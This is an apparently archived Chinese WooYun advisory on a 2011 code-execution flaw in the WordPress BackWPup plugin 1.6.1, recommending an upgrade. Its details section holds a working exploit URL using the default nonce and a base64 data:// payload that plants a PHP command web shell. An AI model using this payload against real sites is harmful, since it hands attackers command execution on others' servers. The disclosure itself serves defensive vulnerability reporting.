漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2011-01744
漏洞标题：WordPress插件BackWPup远程和本地代码执行漏洞
相关厂商：WordPress.org
漏洞作者： 龍
提交时间：2011-03-28 21:17
修复时间：2011-03-29 11:02
公开时间：2011-03-29 11:02
漏洞类型：命令执行
危害等级：高
自评Rank：20
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2011-03-28： 积极联系厂商并且等待厂商认领中，细节不对外公开
2011-03-29： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
一个漏洞被发现在WordPress的插件BackWPup
1.6.1可利用网页上执行本地或远程代码
服务器。 输入传递到组件“wp_xml_export.php”通过
“wpabs”变量允许纳入和执行本地或远程
PHP文件，只要有“_nonce”的价值是众所周知的。 在“_nonce”的价值
依赖于一个静态常量这不是在脚本中定义的含义
它默认值“822728c8d9”。
详细说明：
wp_xml_export.php?_nonce=822728c8d9&wpabs=data://text/plain;base64,PGZ
vcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkknXT8%2bIiBtZX
Rob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ4Ij48aW5wdXQgdHlwZT0
ic3VibWl0IiB2YWx1ZT0iY21kIj48L2Zvcm0%2bPHByZT48PyAKZWNobyBgeyRfUE9TVF
sneCddfWA7ID8%2bPC9wcmU%2bPD8gZGllKCk7ID8%2bCgo%3d
漏洞证明：
受影响的版本。 1.6.1（验证），可能还有其他
修复方案：
升级到版本1.7.1
版权声明：转载请注明来源 龍@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝